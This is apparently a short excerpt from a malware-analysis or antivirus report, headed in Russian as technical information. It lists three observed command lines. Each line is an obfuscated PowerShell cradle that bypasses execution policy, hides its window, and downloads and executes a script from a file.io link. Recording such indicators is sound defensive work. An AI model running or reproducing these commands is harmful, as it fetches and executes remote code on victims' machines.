Техническая информация
- '<SYSTEM32>\cmd.exe' /c POwErShEll -EX bYPaSs -Nop -W 1 IEX( InVoke-WEBRequeST ('htt' + 'ps://file.io/9qX7IJhiPC' + 'RK' ))
- '<SYSTEM32>\cmd.exe' /c POwErShEll -EX bYPaSs -Nop -W 1 IEX( InVoke-WEBRequeST ('htt' + 'ps://file.io/9qX7IJhiPC' + 'RK' ))' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EX bYPaSs -Nop -W 1 IEX( InVoke-WEBRequeST ('htt' + 'ps://file.io/9qX7IJhiPC' + 'RK' ))